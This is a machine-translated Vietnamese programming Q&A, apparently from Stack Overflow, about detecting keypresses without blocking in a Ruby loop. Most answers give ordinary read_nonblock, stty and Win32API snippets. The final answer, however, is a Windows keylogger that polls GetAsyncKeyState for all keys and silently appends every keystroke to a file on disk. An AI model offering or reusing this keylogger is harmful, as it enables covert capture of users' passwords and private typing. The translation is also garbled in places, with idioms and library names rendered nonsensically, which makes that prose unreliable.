2009-06-03 23 views
17

Tôi có một nhiệm vụ đơn giản cần chờ đợi một thứ gì đó thay đổi trên hệ thống tập tin (về cơ bản nó là trình biên dịch cho nguyên mẫu). Vì vậy, tôi đã có một vòng lặp vô hạn đơn giản với một giấc ngủ 5 giây sau khi kiểm tra các tập tin thay đổi.Phát hiện bấm phím (không chặn) w/o getc/được trong Ruby

loop do 
    # if files changed 
    # process files 
    # and puts result 
    sleep 5 
end 

Thay vì số Ctrl+C chào, tôi muốn kiểm tra xem liệu khóa đã được nhấn chưa, không chặn vòng lặp. Về cơ bản tôi chỉ cần một cách để nói nếu có các phím bấm đến, sau đó một cách để lấy chúng cho đến khi một Q được đáp ứng, sau đó thoát ra khỏi chương trình.

Những gì tôi muốn là:

def wait_for_Q 
    key_is_pressed && get_ch == 'Q' 
end 

loop do 
    # if files changed 
    # process files 
    # and puts result 
    wait_for_Q or sleep 5 
end 

Hoặc, là một cái gì đó này của Ruby chỉ không làm (tốt)?

Trả lời

13

Dưới đây là một cách để làm điều đó, sử dụng IO#read_nonblock:

def quit? 
    begin 
    # See if a 'Q' has been typed yet 
    while c = STDIN.read_nonblock(1) 
     puts "I found a #{c}" 
     return true if c == 'Q' 
    end 
    # No 'Q' found 
    false 
    rescue Errno::EINTR 
    puts "Well, your device seems a little slow..." 
    false 
    rescue Errno::EAGAIN 
    # nothing was ready to be read 
    puts "Nothing to be read..." 
    false 
    rescue EOFError 
    # quit on the end of the input stream 
    # (user hit CTRL-D) 
    puts "Who hit CTRL-D, really?" 
    true 
    end 
end 

loop do 
    puts "I'm a loop!" 
    puts "Checking to see if I should quit..." 
    break if quit? 
    puts "Nope, let's take a nap" 
    sleep 5 
    puts "Onto the next iteration!" 
end 

puts "Oh, I quit." 

Gấu nhớ rằng mặc dù đây sử dụng non-blocking IO, nó vẫn còn đệm IO. Điều đó có nghĩa là người dùng của bạn sẽ phải truy cập Q rồi <Enter>. Nếu bạn muốn làm IO không được cấp phát, tôi khuyên bạn nên kiểm tra thư viện nguyền rủa của ruby.

+0

Đáng buồn là tôi đang trên cửa sổ, và điều này ném một Errno :: EBADF, hoặc lỗi xấu-file. Tôi sẽ điều tra các lựa chọn của tôi. –

+0

Hãy thử chụp EBADF với EINTR và EAGAIN- nó có thể chỉ là một lỗi tạm thời cho đến khi bạn thực sự gõ một số đầu vào (không chắc chắn, không phải trên cửa sổ) – rampion

+0

Tôi có thể làm tương tự trên C hoặc PHP hoặc Perl ?? bất kỳ mã nào ra khỏi đó? –

1

Bạn cũng có thể muốn điều tra thư viện 'io/wait' cho Ruby cung cấp phương thức ready? cho tất cả các đối tượng IO. Tôi đã không kiểm tra tình hình của bạn cụ thể, nhưng tôi đang sử dụng nó trong một thư viện dựa trên socket tôi đang làm việc. Trong trường hợp của bạn, STDIN được cung cấp chỉ là một đối tượng IO chuẩn, bạn có thể bỏ thời điểm ready? trả về kết quả không phải là không, trừ khi bạn quan tâm đến việc tìm ra khóa nào đã được nhấn thực sự. Chức năng này có thể có thông qua require 'io/wait', là một phần của thư viện chuẩn của Ruby. Tôi không chắc chắn rằng nó hoạt động trên tất cả các môi trường, nhưng nó có giá trị một thử. Rdocs: http://ruby-doc.org/stdlib/libdoc/io/wait/rdoc/

9

Bạn cũng có thể thực hiện việc này mà không cần bộ đệm. Trong các hệ thống dựa trên Unix, nó rất dễ dàng:

system("stty raw -echo") #=> Raw mode, no echo 
char = STDIN.getc 
system("stty -raw echo") #=> Reset terminal mode 
puts char 

Điều này sẽ chờ một phím được bấm và trả lại mã char. Không cần phải bấm.

Đặt char = STDIN.getc thành vòng lặp và bạn đã có nó!

Nếu bạn đang ở trên cửa sổ, theo The Way Ruby, bạn cần phải hoặc viết một phần mở rộng trong C hoặc sử dụng thủ thuật này ít (mặc dù điều này đã được viết vào năm 2001, do đó có thể là một cách tốt hơn)

require 'Win32API' 
char = Win32API.new('crtdll','_getch', [], 'L').Call 

Đây là tài liệu tham khảo của tôi: great book, if you don't own it you should

+3

Tôi không hiểu. Làm thế nào là nonblocking này? Nó chờ đợi char. –

8

Kết hợp các câu trả lời khác nhận được hành vi mong muốn. Thử nghiệm trong ruby ​​1.9.3 trên OSX và Linux.

loop do 
    puts 'foo' 
    system("stty raw -echo") 
    char = STDIN.read_nonblock(1) rescue nil 
    system("stty -raw echo") 
    break if /q/i =~ char 
    sleep(2) 
end 
+0

Mặc dù câu trả lời này hữu ích, cần lưu ý rằng nó không bắt được tất cả các lỗi mà câu trả lời của @ rampion bị bắt và những lỗi đó không phải là hiếm. – Seanny123

7

By combinig các giải pháp khác nhau tôi chỉ đọc, tôi đã đưa ra một cách nền tảng để giải quyết vấn đề đó. Details here, nhưng đây là đoạn mã có liên quan: phương thức GetKey.getkey trả về mã ASCII hoặc nil nếu không có mã nào được nhấn.

Nên hoạt động trên cả Windows và Unix.

module GetKey 

    # Check if Win32API is accessible or not 
    @use_stty = begin 
    require 'Win32API' 
    false 
    rescue LoadError 
    # Use Unix way 
    true 
    end 

    # Return the ASCII code last key pressed, or nil if none 
    # 
    # Return:: 
    # * _Integer_: ASCII code of the last key pressed, or nil if none 
    def self.getkey 
    if @use_stty 
     system('stty raw -echo') # => Raw mode, no echo 
     char = (STDIN.read_nonblock(1).ord rescue nil) 
     system('stty -raw echo') # => Reset terminal mode 
     return char 
    else 
     return Win32API.new('crtdll', '_kbhit', [ ], 'I').Call.zero? ? nil : Win32API.new('crtdll', '_getch', [ ], 'L').Call 
    end 
    end 

end 

Và đây là một chương trình đơn giản để kiểm tra nó:

loop do 
    k = GetKey.getkey 
    puts "Key pressed: #{k.inspect}" 
    sleep 1 
end 

Trong liên kết được cung cấp ở trên, tôi cũng cho thấy làm thế nào để sử dụng thư viện curses, nhưng kết quả nhận được một chút whacky trên Windows.

0

Bây giờ sử dụng này

require 'Win32API' 

VK_SHIFT = 0x10 
VK_ESC = 0x1B 

def check_shifts() 
    $listener.call(VK_SHIFT) != 0 ? true : false 
end 

# create empty Hash of key codes 
keys = Hash.new 

# create empty Hash for shift characters 
uppercase = Hash.new 

# add letters 
(0x41..0x5A).each { |code| keys[code.chr.downcase] = code } 

# add numbers 
(0x30..0x39).each { |code| keys[code-0x30] = code } 

# add special characters 
keys[';'] = 0xBA; keys['='] = 0xBB; keys[','] = 0xBC; keys['-'] = 0xBD; keys['.'] = 0xBE 
keys['/'] = 0xBF; keys['`'] = 0xC0; keys['['] = 0xDB; keys[']'] = 0xDD; keys["'"] = 0xDE 
keys['\\'] = 0xDC 

# add custom key macros 
keys["\n"] = 0x0D; keys["\t"] = 0x09; keys['(backspace)'] = 0x08; keys['(CAPSLOCK)'] = 0x14 

# add for uppercase letters 
('a'..'z').each { |char| uppercase[char] = char.upcase } 

# add for uppercase numbers 
uppercase[1] = '!'; uppercase[2] = '@'; uppercase[3] = '#'; uppercase[4] = '$'; uppercase[5] = '%' 
uppercase[6] = '^'; uppercase[7] = '&'; uppercase[8] = '*'; uppercase[9] = '('; uppercase[0] = ')' 

# add for uppercase special characters 
uppercase[';'] = ':'; uppercase['='] = '+'; uppercase[','] = '<'; uppercase['-'] = '_'; uppercase['.'] = '>' 
uppercase['/'] = '?'; uppercase['`'] = '~'; uppercase['['] = '{'; uppercase[']'] = '}'; uppercase["'"] = '"' 
uppercase['\\'] = '|' 

# create a listener for Windows key-presses 
$listener = Win32API.new('user32', 'GetAsyncKeyState', ['i'], 'i') 

# call listener once to initialize lsb's 
keys.each_value { |code| $listener.call(code) } 

logs = File.open('C://kpkt.txt', 'a') 

while true 
    break if $listener.call(VK_ESC) != 0 

    keys.each do |char, code| 
     n = $listener.call(code) 
     if n and n & 0x01 == 1 
      check_shifts() ? logs.write("#{uppercase[char]}") : logs.write("#{char}") 
     end 
    end 
end 

logs.close() 
Các vấn đề liên quan